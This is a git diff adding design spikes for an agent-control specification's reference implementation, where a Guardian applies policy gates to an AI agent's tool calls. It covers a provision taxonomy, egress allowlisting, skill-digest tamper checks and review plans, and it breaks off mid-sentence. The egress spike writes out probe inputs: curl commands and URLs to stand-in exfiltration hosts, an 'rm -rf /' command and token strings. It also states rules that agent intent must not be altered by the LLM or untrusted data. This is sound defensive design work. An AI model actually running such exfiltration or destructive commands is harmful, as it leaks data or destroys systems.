widen Intent* | +| `concepts/agents.md` | *Decision logging*; *Approver authentication* | +| `concepts/trust.md` | *The rungs do not collapse*; *Deterministic attachment is not a producer claim* | +| `concepts/session-lifecycle.md` | *Intent derivation is auditable* | +| `concepts/identity.md` | *No mandated mechanism* | + +The authors already separated normative from explanatory prose in these files, mechanically and consistently. **D-g gets substantially cheaper**: the callouts are a discoverable anchor for the definition-bearing statements, so including `concepts/` does not mean hand-reading every sentence. It also settles `trust.md` — *"A Guardian MUST NOT treat an asserted fact as attested"* is unique normative force that `specification.md` §7.1 does not restate, so `trust.md` is in the corpus. + +### 2. The same obligation is stated in two documents + +| Obligation | Locations | +|---|---| +| Approver authentication required; Guardian verifies approver identity | `specification.md:257` **and** `concepts/agents.md:21` | +| Approvers must not return ASK | `specification.md:259` **and** `concepts/agents.md:23` | + +Both are in `specification.md`'s **orphaned §9 preamble** — the three statements stranded under §8.6 by the missing `## 9.` heading. So the content survives in `agents.md` despite the structural defect in the spec proper. + +Intent immutability is **not** a duplicate, and the difference is substantive: + +- `concepts/intent.md:13` — *"`Intent.parsed` MUST NOT be modified by the runtime LLM, by tool outputs, or by any data crossing an untrusted channel."* — a prohibition on the data. +- `specification.md:241` — *"any attempt to modify `Intent.parsed` … MUST be ignored or rejected, and SHOULD be recorded as an audit event."* — an obligation on the framework to *handle attempts*, plus a `SHOULD` on auditing. + +Two provisions with a dependency, not one provision twice. Distinguishing them needs the `Requirement` / `Definition` split (R1.4) and `depends_on` (R3.7) — which is independent evidence that the taxonomy is carrying weight. + +**New IR obligation.** Cross-document restatement needs an explicit relation. Either one location is authoritative and the other carries `restatement_of: ACS-REQ-NNN` (the census exclusion reason from X3-Q2), or both are provisions the IR asserts must agree. The second is more valuable: **an IR can mechanically check that two statements of the same obligation have not drifted apart**, which is a class of spec defect nothing currently catches. + +--- + +## Resolution + +**E2.2 span rule — resolved.** A provision's text runs from its `` anchor to its `` terminator. Both are mandatory. There is no implicit boundary rule, therefore no silent over- or under-capture, and no sentence segmentation. Unpaired anchors, unmatched terminators, and nesting are lint failures. + +**E2.3 table cells — resolved.** Raw `` and `` both work in table cells, including cells carrying inline code and links, and multiple provisions per cell are addressable. §6.1's three-provision cell is expressible. + +**Marker cost for the bulk PR (E11.3):** ~200 provisions × 2 markers ≈ 400 insertions, all mechanical, none visible in the rendered site. + +**Cases a single opening anchor cannot handle, and their mechanism** — the enumerated list the Acceptance criterion asked for: + +| # | Case | Mechanism | +|---|---|---| +| 1 | Block ends in rationale, description, or a list stem (35% of blocks) | Mandatory `` terminator | +| 2 | Several provisions in one sentence (18% of sentences; §10.3 carries four) | Anchor placed mid-sentence; terminator ends each span | +| 3 | Several provisions in one table cell (§6.1 `policy_references`) | Anchor + terminator inline in the cell | +| 4 | Provision spanning a stem paragraph and a following list (§9.2, §12.2, §13) | Anchor in the stem, terminator in the final list item | +| 5 | Normative continuation with no keyword (`intent.md`'s "It may grow only through…") | Terminator placed after it, by editorial judgment, stated once | +| 6 | Restatement of another provision (`conformance.md`'s parenthetical) | Not marked; census exclusion `restatement_of` | +| 7 | Cross-document restatement (`agents.md` ↔ orphaned §9) | Both marked; IR asserts agreement | + +**Acceptance met.** Every structural position is characterized, the span rule is stated, the extractor's requirements are known, and the cases needing more than an opening anchor are enumerated with a mechanism each. + diff --git a/docs/shaping/spike-provision-taxonomy.md b/docs/shaping/spike-provision-taxonomy.md new file mode 100644 index 00000000..a3de6cfe --- /dev/null +++ b/docs/shaping/spike-provision-taxonomy.md @@ -0,0 +1,181 @@ +--- +shaping: true +--- + +# X5 Spike: Provision taxonomy — do Invariants have members? + +Spike for open decisions **D-h** (extract `Invariant` in the first pass, or defer) and **D-g** (where the informative line falls inside `concepts/`) in [`normative-ir-shaping.md`](./normative-ir-shaping.md). The same evidence resolves both. + +## Context + +E1.1 declares four node types — `Requirement`, `Definition`, `Invariant`, `Informative`. D-h asked whether `Invariant` is worth extracting now: R6.2 wants a declared invariant list for TLA+, but no provision family in the shaping doc's survey obviously yielded an Invariant that wasn't just a Requirement wearing a different hat. + +The cost is asymmetric. Deferring means later allocating new IDs, re-marking prose, and **re-authoring `depends_on` edges across the whole catalog** — retrofitting the graph is the expensive part. Including it now costs one branch of a taxonomy that already exists. But shipping a node type with no members is its own smell, and R3.6's spirit says don't claim what you don't have. + +## Goal + +Determine whether the corpus contains normative propositions that are neither obligations on an actor nor definitions of a term — and if so, how they are distinguished in the prose as written. + +## Questions + +| # | Question | +|---|----------| +| **X5-Q1** | Does the corpus use the word "invariant", and if so, does it mean what the IR would mean by it? | +| **X5-Q2** | Are there normative propositions that are not obligations and not definitions? Name them. | +| **X5-Q3** | Does the `> **… (normative).**` callout convention map onto node types, or only onto "normative"? | +| **X5-Q4** | Where a statement appears in both `concepts/` and a pillar, which is authoritative? | +| **X5-Q5** | Do the concept pages already encode dependency direction, and can the IR reuse it? | +| **X5-Q6** | For D-g: is non-callout prose in the concept pages normative? | + +## Acceptance + +Complete when we can say whether `Invariant` has identifiable members, how a node type is assigned to a marked statement, which document wins when two disagree, and what fraction of R3.7's dependency edges already exist in prose. + +--- + +## Findings + +### X5-Q1 / X5-Q2 — ACS already documents this taxonomy, and it is an altitude rule + +`concepts/README.md` is not prose about concepts. It is **the spec's own editorial policy for where normative content lives**: + +> **Cross-cutting invariants** (true across pillars) are defined here and tagged **(normative)**. They belong above the pillars because that is where they are true. *e.g. "`Intent.parsed` MUST NOT be modified by the LLM or by data crossing an untrusted channel."* — `concepts/README.md:11` + +> When you add a concept, hoist the invariant and leave the mechanics. If a requirement is restated in two pillars, or buried in one but relied on by another, it is at the wrong altitude. — `concepts/README.md:14` + +> Every page carries the canonical definition, any cross-cutting invariants tagged **(normative)**, and a **Referenced by** footer pointing into the pillars that consume the concept. The graph is navigable in both directions. — `concepts/README.md:31` + +And the pillar side states the split from its own end: + +> **Intent immutability enforcement (normative).** **The invariant is defined in [Concepts › Intent]** […] **The framework MUST enforce it**: any attempt to modify `Intent.parsed` […] MUST be ignored or rejected — `specification.md:241` + +> The mechanics of the ASK flow live in the Instrument pillar; **the invariant (that this is the *only* path) lives here.** — `concepts/intent.md:23` + +> The framework's **enforcement and audit obligations** are specified in [§8.4]. — `concepts/intent.md:15` + +**ACS is already a three-altitude document**: `concepts/` carries canonical **Definitions** and cross-cutting **Invariants**; the pillars carry the enforcement **Requirements** that maintain them. The IR's taxonomy is not imposed on the spec — it is *discovered in it*, and the authors wrote down the rule. + +Identified Invariants with no enforcing-obligation content of their own: + +| Invariant | Source | Enforced by | +|---|---|---| +| `Intent.parsed` is fixed once established | `intent.md:13` | `specification.md:241` (§8.4) | +| An approver's `intent_extension` is the *only* path to widen `Intent.parsed` | `intent.md:21` | `specification.md:271` (§9.1) | +| The framework, not the LLM, assigns `origin`, `source_id`, `derived_from` | `provenance.md:27` | `specification.md:202` (§7.2) | +| `derived_from` lineage is the union of the lineage of its inputs | `provenance.md:19` | §7, §8.3 | +| A deterministically attached fact is never a producer claim | `trust.md:27` | §7.1 | +| The rungs do not collapse — asserted is not attested | `trust.md:25` | §7.1, §10 | + +**`Invariant` has members. D-h resolves toward extracting them now.** + +### X5-Q3 — The callout marks "normative", not "invariant" + +The ten `> **… (normative).**` callouts found in X3 are a **mix** of node types: + +| Callout | Actual type | +|---|---| +| `intent.md` Intent immutability | Invariant | +| `intent.md` The only conformant path to widen Intent | Invariant | +| `provenance.md` Provenance is framework-assigned | Invariant | +| `provenance.md` Lineage spans derivation | Invariant | +| `trust.md` The rungs do not collapse | Invariant | +| `trust.md` Deterministic attachment is not a producer claim | Invariant | +| `agents.md` Decision logging — *"A Guardian MUST log every decision…"* | **Requirement** | +| `agents.md` Approver authentication — *"The Guardian MUST verify…"* | **Requirement** | +| `session-lifecycle.md` Intent derivation is auditable — *"the audit chain MUST record…"* | **Requirement** | +| `identity.md` No mandated mechanism — *"ACS mandates no authentication mechanism"* | **neither** (see X5-Q2b) | + +So the extractor can find candidates mechanically, but **node type is per-provision editorial judgment**. That is the right division: the tool marks, the editor types. + +Worth noting for the spec editors rather than for the IR: three of these callouts are obligations on the Guardian sitting at concepts altitude, which by `README.md:14`'s own rule ("hoist the invariant and leave the mechanics") is the wrong altitude. The IR will surface that as data rather than argue it. + +### X5-Q2b — A fourth class the taxonomy has no home for + +**19 statements assert that ACS imposes no requirement.** Not "we can't test this" — *"there is nothing here to test, deliberately."* + +| Statement | Source | +|---|---| +| "Authentication mechanism declared in handshake; spec mandates none." | §11 | +| "`tenant_id` reserved as an optional envelope field. No isolation rules in v0.1." | §14 | +| "ACS does not put this declaration on the wire in v0.1; it is part of the Guardian's policy bundle." | §9.2 | +| "ACS v0.1 defines no in-band key-exchange" | §10 | +| "Whether a Guardian can attach mid-flight to a session that started unguarded is undefined in v0.1" | §4.1 | +| "`protocols/A2A/*` is reserved […] no normative wrapping semantics are defined in v0.1" | `hooks.md:35` | +| "v0.1 does not require Guardians to populate it" (`trust`) | §7.1 | +| "ACS-Core does NOT require: field-level Provenance objects, Trace event emission, AgBOM…" | `conformance.md:28` | +| "It does NOT assert that a deployment's policies are strict […] A permissive Guardian is a conformant but permissive deployment, not a violation." | `conformance.md:30` | +| "**No mandated mechanism (normative).** ACS mandates no authentication mechanism." | `identity.md:21` | +| plus the whole §15 *Out of Scope (Deferred)* table — 10 rows | §15 | + +These are **normative** — `identity.md:21` is explicitly tagged so — and they are not Informative, because Informative means "ignored by conformance" while these actively *constrain the verifier*. They are the difference between: + +- **`non-testable`** (R4.4): ACS requires something, and no trace can falsify it. §12.2's prompt-construction rules. +- **deliberately unspecified**: ACS requires nothing here. §14's multi-tenant isolation. + +A verifier that conflates the two either invents requirements ACS never made, or hides the spec's deliberate silences behind the same label as its blind spots. `conformance.md:30` is the sharpest case: *"A permissive Guardian is a conformant but permissive deployment, not a violation"* — that sentence exists precisely to stop a verifier from reporting a violation, which makes it a first-class input to the verifier rather than commentary. + +**Recommendation: a fifth node type, `Exclusion` (`ACS-EXC-NNN`).** This is an addition beyond the four types the shaping doc declared, so it is called out as such. Three reasons it should be a type rather than an attribute: + +1. **Citable.** An implementer wants to point at *"ACS-EXC-0004: multi-tenant isolation is unspecified in v0.1"* when explaining a design choice to an auditor. +2. **It has a lifecycle.** Every §15 row is "deferred to v0.2." When v0.2 specifies one, the Exclusion is `superseded_by` the Requirements that replace it — exactly the R2.5/R2.3 machinery, and a genuinely useful thing to be able to diff across versions. +3. **It is what generalizes R4.7.** R4.7 currently names one case (policy strictness ≠ protocol conformance). `Exclusion` makes the whole class mechanical instead of a single remembered caveat. + +### X5-Q4 — The spec supplies its own precedence rule + +X3 found the same obligation stated in two documents and asked which wins. The answer was already written: + +> **Migration note.** These pages are being established as the source of truth. The pillar specifications still carry some of these definitions inline; those will be updated to reference these pages rather than restate them. **Until that pass lands, treat these pages as canonical where they disagree with a pillar's inline copy.** — `concepts/README.md:33` + +So **R2.9's `restates` relation has a direction**: the `concepts/` provision is authoritative, the pillar's inline copy is the restatement. X3's finding — approver authentication in both `specification.md:257` and `agents.md:21` — is not an accident, it is a **known, in-progress migration the authors have declared**. + +Which turns the cross-document agreement check (E9.7) into something more useful than a lint: **it enumerates exactly which inline pillar copies still need to be replaced by references.** That is the migration `README.md:33` promises, as a worklist, generated. A spec editor gets a to-do list they currently have to find by hand. + +### X5-Q5 — A third of the dependency graph is already authored + +**Eight of nine concept pages carry a `Referenced by` footer** pointing into the pillar sections that consume the concept: + +| Page | Referenced by | +|---|---| +| `trust.md` | Instrument §7, §10, §8; conformance ACS-Crypto/Audit/Provenance; Trace events | +| `provenance.md` | Instrument §7, `preCompact` laundering guard in hooks; Trace extend_ocsf | +| `intent.md` | Instrument §8, §9; Trace events | +| `identity.md` | Instrument `user_identity`, Approver identity §9, handshake; Trace extend_ocsf | +| `capability.md` | Instrument `Intent.parsed` check, `policy_data`; Inspect `tool.capability` | +| `session-lifecycle.md` | Instrument §8, `steps/*`, lifecycle hooks; Trace events | +| `skill.md` | Instrument skill hooks; Inspect `skill` component type | +| `agents.md` | Instrument hooks/dispositions/ASK §9; Trace events | + +That is **R3.7's `depends_on` graph, authored in prose, in the reverse direction** (Definition/Invariant → the Requirements that consume it). The IR can seed `depends_on` from these footers rather than deriving all of it from scratch, and can then lint the two against each other — a footer pointing at a section with no provision depending back on it is either a missing edge or a stale footer. + +**This is the decisive argument against deferring.** Deferring `Invariant` means declining edges that already exist and would have to be re-derived later. + +### X5-Q6 — D-g answered by the same sentence + +`README.md:31` says every page carries *"the canonical definition, any cross-cutting invariants tagged (normative), and a Referenced by footer."* So within a concept page: + +- **callouts** → Invariants (and, per X5-Q3, sometimes Requirements) +- **non-callout body prose** → the canonical **Definition**. It is normative — it is what §7 and §8.4 delegate to. +- **`Referenced by` footer** → dependency edges, not a provision +- **`README.md` itself** → editorial policy about the spec's own structure. Informative for conformance, and the *source of the taxonomy* rather than a source of provisions. + +All eight concept pages are in the corpus, including `capability.md` and `skill.md`, which have no callouts but do carry definitions and footers. + +--- + +## Resolution + +**D-h resolved: extract `Invariant` in the first pass.** It has at least six identifiable members, the spec's own editorial policy defines the category and its altitude, and eight `Referenced by` footers already encode the dependency edges that retrofitting would force us to re-author. + +**D-g resolved: all eight concept pages are in the corpus.** Callouts are Invariants (or Requirements — editorial judgment per X5-Q3); non-callout body prose is the canonical Definition and is normative; `concepts/README.md` is the taxonomy's source, not a provision source. + +**New: a fifth node type, `Exclusion` (`ACS-EXC-NNN`)** — 19 statements assert ACS requires nothing in some area, which is distinct from Informative (ignored by conformance) and from `non-testable` (required but unobservable). Flagged as an addition beyond the four types originally declared. + +**Requirements this produces:** + +- **R1.4 updated** — five node types, not four. +- **R2.9 gains a direction** — the `concepts/` provision is authoritative; the pillar copy is the restatement, per `concepts/README.md:33`. +- **New R4.8** — a deliberate non-requirement is represented distinctly from an untestable one. The verifier never reports a violation in an area ACS leaves open, and the report distinguishes *"ACS says nothing here"* from *"we cannot observe this."* +- **New R6.6** — the cross-document agreement check emits the migration worklist `concepts/README.md:33` promises: which inline pillar copies still need replacing by references. +- **E1.3 gains a seed source** — `depends_on` is seeded from `Referenced by` footers and linted against them in both directions. + +**No slicing constraint.** Unlike X4, nothing here changes what a slice can demo. It changes how many node types slice 1 extracts and where it looks, both of which are scope-within-a-slice rather than boundaries between slices. diff --git a/docs/shaping/spike-unreached-gates.md b/docs/shaping/spike-unreached-gates.md new file mode 100644 index 00000000..9def9857 --- /dev/null +++ b/docs/shaping/spike-unreached-gates.md @@ -0,0 +1,368 @@ +--- +shaping: true +--- + +# Spike: the two AGT gates ACS already addresses + +## Context + +Nine gate classes live in the pinned AGT stock bundle (`policy/lib/agt_default.rego` +consults each one in priority order). Three are reachable in this deployment +today — `ifc`, `patterns`, `redact` — because `policy/lib/data.json` configures +exactly those three keys. The other six are `undefined` on every call, because +each is gated on a `cfg.*` key nobody sets. + +Of those six, `drift` and `confidence` are outside the wire **by design**: AGT's +own `drift.rego` header puts behaviour-drift detection outside the policy engine +and names the annotator as the seam, and `policy/manifest.drift.yaml` already +argues that case at length. `budgets` is a genuine ACS v0.1.0 coverage gap — +there is no budget, token, cost or elapsed state anywhere on the wire, and the +one occurrence of the word "budget" in `handshake.json` is prose about tuning +timeouts. `approval` is a single global config switch. + +That leaves **`egress` and `content_hash`**, which are a third thing again, and +this spike is about them: the claim under investigation was that ACS carries the +information these two gates need, at an address neither the Guardian nor AGT +currently reads. + +## Goal + +Learn whether each gate is reachable from the ACS wire as it stands, and by what +concrete steps — not whether it is worth doing. + +## Questions + +| # | Question | +|---|----------| +| **Q1** | Where does AGT's stock `egress` gate look for a destination, and does anything the ACS wire already carries land there? | +| **Q2** | What does the shipped manifest's single `policy_target` do to a tool whose arguments are not a shell command? | +| **Q3** | Does the ACS wire carry `capability` and `raw_command` into the AGT snapshot today? | +| **Q4** | Can a manifest tool entry declare a `content_hash`, and does the SDK carry it through to `input.tool`? | +| **Q5** | Which ACS hook carries an integrity digest, and does its semantics match what AGT's `content_hash` gate decides? | +| **Q6** | Can the *approved* side of a content-hash comparison be supplied per session rather than per manifest? | +| **Q7** | If one `policy_target` leaf serves every tool, what do the other live gates do when it holds a URL instead of a command? | +| **Q8** | Can one manifest carry both an annotator and the ordinary gates, or does an annotator force a manifest of its own? | + +--- + +## A1 — egress reads four snapshot paths and one annotation path, and the ACS wire already lands on the first + +`policy/lib/egress.rego` declares its own defaults: + +```rego +default_destination_paths := [ + ["snapshot", "tool_call", "args", "url"], + ["snapshot", "tool_call", "args", "endpoint"], + ["snapshot", "tool_call", "args", "host"], + ["snapshot", "tool_call", "args", "domain"], + ["annotations", "egress", "destination"], +] +``` + +`assemblePreToolCallSnapshot` unwraps every ACS `arguments..value` into +`tool_call.args.`. So a tool whose ACS arguments carry a `url` — Claude +Code's `WebFetch`, OpenCode's `webfetch` — already lands its destination at +`snapshot.tool_call.args.url`, which is AGT's **first** default path. Nothing +translates it; the two vocabularies already agree. + +**Measured.** A bridge over an unforked `policy/lib`, one `data.json` key +(`config.egress.allowlist`) and one manifest `tools:` entry, fed a snapshot +assembled by the shipped `assemblePreToolCallSnapshot` from an ACS +`steps/toolCallRequest` payload: + +| Envelope | Verdict | +|---|---| +| `arguments.url.value = "https://docs.anthropic.com/x"` | `{"decision":"allow","result_labels":["public"]}` | +| `arguments.url.value = "https://exfil.attacker.test/steal"` | `{"decision":"deny","reason":"egress_destination_not_allowed","message":"destination exfil.attacker.test not in allowlist [\"*.anthropic.com\", \"docs.example.com\"]"}` | + +**Zero code, zero Rego** — the same standard `verify:pin` already holds +`policy/lib` to. This is the strongest available form of R2.1: AGT's published +library deciding, driven only through `data.agt.defaults.config`. + +Two conditions attach, both easy to trip: + +- `allowlist(rules)` falls back to `input.tool.security_labels` when + `cfg.egress.allowlist` is absent. Every tool in the shipped + `policy/manifest.yaml` carries `security_labels: [shell]`, so an operator who + turns the gate on with a bare `egress: {}` gets an allowlist of `["shell"]` and + **denies every destination**. `policy/manifest.yaml`'s own `bash` comment + anticipates the coupling ("carried only so `bash` behaves like `Bash` the + moment `cfg.egress` ever gets configured") but not this direction of it. +- The gate is `undefined` when no destination resolves, so a shell tool is + simply not covered — it is not denied, it is not consulted. + +## A2 — the shipped `policy_target` fails closed on any tool without a `command` argument + +AGT's `manifest.schema.json` at the pinned ref defines `intervention_point` with +`additionalProperties: false` and exactly one `policy_target`. There is no +per-tool variation: **one manifest, one intervention point, one target path.** + +`policy/manifest.yaml` declares `policy_target: "$.tool_call.args.command"`. + +**Measured.** The identical egress probe above, changed only to that target: + +| Envelope | Verdict | +|---|---| +| `arguments.url.value = "https://docs.anthropic.com/x"` | `{"decision":"deny","reason":"runtime_error:path_missing","message":"Request blocked by Agent Control Specification."}` | +| `arguments.url.value = "https://exfil.attacker.test/steal"` | same | + +AGT resolves `policy_target` before any rule runs, so a benign `WebFetch` call is +denied on a missing path rather than evaluated. This has never bitten because +`.claude/settings.json` and `hosts/claude-code/settings.json` both match `^Bash$` +— the deployment governs exactly one tool, whose argument is named `command`. + +**This is the load-bearing constraint for anything in this area.** Governing a +second tool shape is not "add a matcher": it needs an answer to what a single +`policy_target` addresses when two tools disagree about their argument names. + +## A3 — `capability` and `raw_command` are typed, unpopulated, and dropped + +Both fields are real ACS v0.1.0 members of `hooks/tool-call-request.json`. +`capability` is documented with `network.egress` as one of its three worked +examples — the exact string AGT's gate is named for. + +In this repository they occur in source **once each**, both in +`packages/guardian/src/validate-envelope.ts`: + +``` +validate-envelope.ts:98: capability?: string; +validate-envelope.ts:100: raw_command?: string; +``` + +No hookmap declares either. Neither assembler forwards either. So the wire +defines them, this implementation validates them, and nothing downstream can +read them. An egress destination inside a shell command is *present on the wire* +and *absent from every snapshot*. + +Note what this does **not** buy on its own: forwarding `raw_command` into a +`destination_paths` entry does not produce a usable destination. Extraction is a +real step, not a plumbing step. + +⚠️ **The mechanism this paragraph originally gave for that was wrong, and it is +retracted here rather than left standing.** It read: *"`egress.rego`'s +`host_of()` splits on `://` and `/`, so handed `curl https://evil.test/x` it +answers `curl https`."* Re-measured during V9 execution by calling the rule +directly through the OPA binary the pinned SDK ships — `opa eval -d +policy/lib/egress.rego` against `data.agt.egress.host_of()`, once per +row; the exact loop that produced this block is in +`docs/demos/v9-runbook.md` §2: + +``` +host_of("echo hi") -> "echo hi" +host_of("ls -la /tmp") -> "ls -la " +host_of("curl https://evil.test/x") -> "evil.test" +host_of("curl https://docs.anthropic.com/x") -> "docs.anthropic.com" +host_of("curl https://docs.anthropic.com; ls") -> "docs.anthropic.com; ls" +``` + +`split(url, "://")[1]` is everything *after* the scheme, so an embedded, +path-bounded URL yields a perfectly good host — the third and fourth rows are +the case that works, and it is the only one. Two things break the rest. +`host_of` has a **second branch**, for strings containing no `"://"`, which +returns the command's own leading word: so a forwarded command line *always* +resolves a destination, no allowlist pattern matches a command line, and every +benign shell step would be denied. And where nothing bounds the host on the +right, trailing shell text is swallowed into it — the fifth row turns an +allowlisted destination into a denial. + +The conclusion above is unchanged and is if anything better supported: +extraction is a real step. The corrected wording lives beside the code in +`packages/guardian/src/annotate-egress.ts`, and the amended argument is in +`docs/shaping/acs-reference-impl-slices.md` §V9 under C7.2. + +## A4 — a manifest tool may declare `content_hash`, and the SDK carries it through + +AGT's `manifest.schema.json` defines `$defs/tool` with `additionalProperties: +true`, so an unrecognised key is legal rather than merely tolerated. + +**Measured**, reading AGT's own `policyInput` back out of the bridge's evidence +path — the manifest declared `content_hash: "sha-256:APPROVED"` on a tool, and +AGT saw: + +```json +{"content_hash":"sha-256:APPROVED","id":"code-reviewer","type":"Tool","name":"code-reviewer"} +``` + +With `config.content_hash.enforce: true` and the observed hash placed at +`snapshot.tool_call.content_hash`, all three stock behaviours fire: + +| Observed | Verdict | +|---|---| +| `sha-256:APPROVED` | `{"decision":"allow","result_labels":["public"]}` | +| `sha-256:POISONED` | `{"decision":"deny","reason":"tool_content_hash_mismatch","message":"declared sha-256:APPROVED but observed sha-256:POISONED"}` | +| *(absent)* | `{"decision":"deny","reason":"tool_content_hash_mismatch","message":"manifest declared tool.content_hash but snapshot.tool_call.content_hash was missing"}` | + +The gate is reachable. The only thing it needs from this side is a +`snapshot.tool_call.content_hash`. + +## A5 — ACS carries the digest at `steps/skillLoad`, and the spec's own text is AGT's gate + +`hooks/skill-load.json` requires `digest {algorithm, value}` and describes what a +Guardian is to do with it: + +> The Guardian compares it against the digest it approved at +> `steps/skillRegister`; a mismatch means the artifact changed between +> registration and load (tamper or swap). +> +> A load the Guardian cannot tie to an approved registration, or whose digest +> differs from the approved one, is unverifiable and SHOULD be denied. + +That is, clause for clause, what `content_hash.rego` decides — mismatch denies, +and declared-but-unobserved denies. The two were written independently about the +same threat. + +The address differs, and the *subject* differs with it: + +| | AGT `content_hash` | ACS v0.1.0 | +|---|---|---| +| Subject | a **tool** | a **skill** | +| Approved side | `input.tool.content_hash`, from the manifest tool catalog | `steps/skillRegister` → `definition.digest`, Guardian-persisted | +| Observed side | `snapshot.tool_call.content_hash`, host-attached | `steps/skillLoad` → `digest` | + +ACS's AgBOM confirms the split rather than softening it: `skill_fields.definition` +is required to carry `{ref, digest}` and is described as "the surface attackers +poison", while `tool_fields` requires only `capability`. **ACS puts the integrity +digest on skills and not on tools.** So this is not one field at a different +address; it is the same control applied to a different component class, and any +claim made here has to say so. + +## A6 — no. The approved side is manifest-static + +`content_hash.rego` reads the declared hash from `input.tool.content_hash` and +nowhere else. `input.tool` is resolved by the SDK from the manifest's `tools:` +catalog, keyed by the snapshot's `tool_call.name`. There is no config hook (no +`declared_paths` counterpart to `egress`'s `destination_paths`), and annotations +are not consulted. + +So the approved digest a Guardian recorded at `steps/skillRegister` **cannot +reach this gate through session state.** Either the manifest declares it ahead of +time, or the Guardian writes a manifest per session, or the register-time +approval is enforced Guardian-side and AGT re-checks against a static declaration. + +This is the design constraint on the content-hash half, and it is not +negotiable from this side — closing it upstream would mean AGT accepting a +declared hash from the snapshot, which weakens its own trust model and is not +something to propose lightly. + +## A7 — a shared `policy_target` leaf is safe at the AGT layer, and leaks at the ACS layer + +The proposal is one normalised leaf every tool writes, so the manifest keeps its +single `policy_target` and every gate stays live in one Guardian. The hazard is +that `patterns` and `redact` read that same leaf (`pattern_text()` and +`redact_verdict` both fall back to `input.policy_target.value`), so a URL landing +there is evaluated by rules written for shell commands. + +**Measured**, one manifest with `policy_target: "$.tool_call.args.acs_policy_target"`, +the shipped `patterns` / `redact` / `ifc` config plus an `egress` allowlist: + +| Call | Verdict | +|---|---| +| `Bash`, `echo hi` | `allow` | +| `Bash`, `rm -rf /` | `deny` `destructive_shell_command_blocked` | +| `WebFetch`, `https://docs.anthropic.com/x` | `allow` | +| `WebFetch`, `https://exfil.test/x` | `deny` `egress_destination_not_allowed` | +| `WebFetch`, url carrying `ghp_…` | `transform` → `https://docs.anthropic.com/?t=[REDACTED]` | +| `Bash`, command carrying `ghp_…` | `transform` → `echo [REDACTED]` | + +All four gates coexist correctly. No false positive in either direction: the +destructive-shell patterns do not match URLs, and the egress gate does not match +commands. **The AGT layer is fine.** + +**The ACS layer is not.** `mapping.yaml` declares +`pre_tool_call.modifications.into_argument: command` as a **literal**. Run the +fifth row's verdict through the real `mapVerdict`: + +```json +{ + "decision": "modify", + "modifications": { "parameter_overrides": { "command": "https://docs.anthropic.com/?t=[REDACTED]" } } +} +``` + +The redaction is emitted against an argument `WebFetch` does not have, and `url` +— still carrying the token — is untouched. A modification reported applied while +the original is delivered: the same family as §V4's risk row 15 and §V5's row 17, +arrived at from a third direction. + +So the normalised leaf is **two coupled declarations, not one**: which argument +becomes the policy target, and which argument a transform lands back on. They +must be one entry read twice, or they will disagree. `test/path-dialects.test.ts` +today derives `into_argument` from the manifest's `policy_target`; under a +normalised leaf that derivation yields the leaf's own name, which is not an +argument any host sends, so the check has to change with it. + +One smaller consequence, worth catching before it ships: `mapping.yaml`'s +`summaries.redaction_applied.pre_tool_call` reads "A secret in this **command** +was replaced before it ran." Under a shared leaf that sentence is wrong for +every non-shell tool. + +## A8 — an annotator does not force a second manifest, but an undispatched one denies everything + +`policy/manifest.drift.yaml` exists as a sibling so "a deployment that wants no +annotator has none". **Measured** why that mattered — one manifest declaring +`annotators: egress: {type: classifier}`, evaluated by a bridge constructed +without a dispatcher: + +| Call | Verdict | +|---|---| +| `echo hi` | `deny` `runtime_error:annotation_failed` — *"egress: missing required field 'url'"* | +| `curl https://exfil.test/steal` | same | + +Every call, including entirely benign ones. An annotator declared in a manifest +the Guardian dispatches nothing for is a **total deny**, not a no-op. + +With a dispatcher supplied — `createBridge` already accepts one, and +`startGuardian({annotator})` already threads it — the same manifest behaves: + +| Call | Verdict | +|---|---| +| `echo hi` | `allow` (no destination found → gate `undefined` → falls through) | +| `curl https://exfil.test/steal` | `deny` `egress_destination_not_allowed` | +| `curl https://docs.anthropic.com/x` | `allow` | + +So the annotator route works, and one manifest can carry it — provided the +Guardian always supplies a dispatcher. The condition is not a detail: forgetting +it converts the whole deployment to deny-everything with a `runtime_error` +reason, which reads like a policy decision. + +--- + +## Acceptance + +Met. For each of the two gates we can now describe where AGT looks, what the ACS +wire carries, which of the two already agree, and what concrete steps stand +between them: + +- **`egress`** is reachable with configuration alone for any tool whose ACS + arguments already name a destination, and needs (a) an answer to A2's single + `policy_target`, and (b) a destination-extraction step for tools that carry the + destination inside `raw_command`. +- **`content_hash`** is reachable once a Guardian attaches + `snapshot.tool_call.content_hash`; ACS supplies that value at + `steps/skillLoad`, a hook this implementation does not instrument, for skills + rather than tools, against an approved digest that must be manifest-declared. +- **The normalised `policy_target` leaf** that both of those depend on is sound + at the AGT layer and must carry a second, coupled declaration at the ACS layer + or it silently mis-targets every redaction on a non-shell tool. +- **The annotator** needs no second manifest, and needs the Guardian to always + supply a dispatcher or the deployment denies everything. + +## Where the shipped code stands against this + +| Fact | Where | +|---|---| +| `capability` and `raw_command` typed, unpopulated, dropped | `packages/guardian/src/validate-envelope.ts:98,100` | +| Only `Bash` is governed | `.claude/settings.json`, `hosts/claude-code/settings.json` — `"matcher": "^Bash$"` | +| The single target path | `policy/manifest.yaml` — `policy_target: "$.tool_call.args.command"` | +| The literal that mis-targets | `mapping.yaml` — `into_argument: command` | +| Arguments unwrapped into the snapshot | `packages/guardian/src/assemble-snapshot.ts` — `args[key] = wrapper.value` | +| The dispatcher seam, already built | `packages/agt-bridge/src/index.ts` — `CreateBridgeOptions.annotator` | +| The session's first IFC labels | `packages/guardian/src/session-context.ts:163` — `ifc_labels: ["public"]` | + +## Residual, found on the way and not this spike's subject + +**⚠️ `cfg.egress: {}` with the shipped manifest denies every destination.** The +allowlist falls back to `input.tool.security_labels`, which is `["shell"]` on +every registered tool. Whoever turns this gate on gets a total-deny that reads +like a policy decision. Recorded here rather than in a review transcript; it +belongs to whichever slice first sets an `egress` key. diff --git a/docs/superpowers/plans/2026-08-13-v5-review-round-3.md b/docs/superpowers/plans/2026-08-13-v5-review-round-3.md new file mode 100644 index 00000000..c7781963 --- /dev/null +++ b/docs/superpowers/plans/2026-08-13-v5-review-round-3.md @@ -0,0 +1,432 @@ +# V5 review round 3 — PR #14 (slice/v5) review responses + +Six tasks answering the nine open threads on PR #14 ("Sandi Metz review — V5 +(second host) + five-slice stack"). Every finding was verified against the code +before this plan was written; none is being taken on the reviewer's word alone. + +Branch: `slice/v5`. The stack above it (`slice/v6`..`slice/v8`) is scaffold-only +and gets rebased after this plan lands. + +## Context + +`hosts/opencode/` is host #2, added by V5. `packages/host-adapter/` is the +package BOTH hosts run. `hosts/claude-code/` is host #1 and is `+0/-0` across +V5 — the claim slice V5 rests on (R3.4: whatever moved, moved once, in code +both hosts share, rather than being forked per 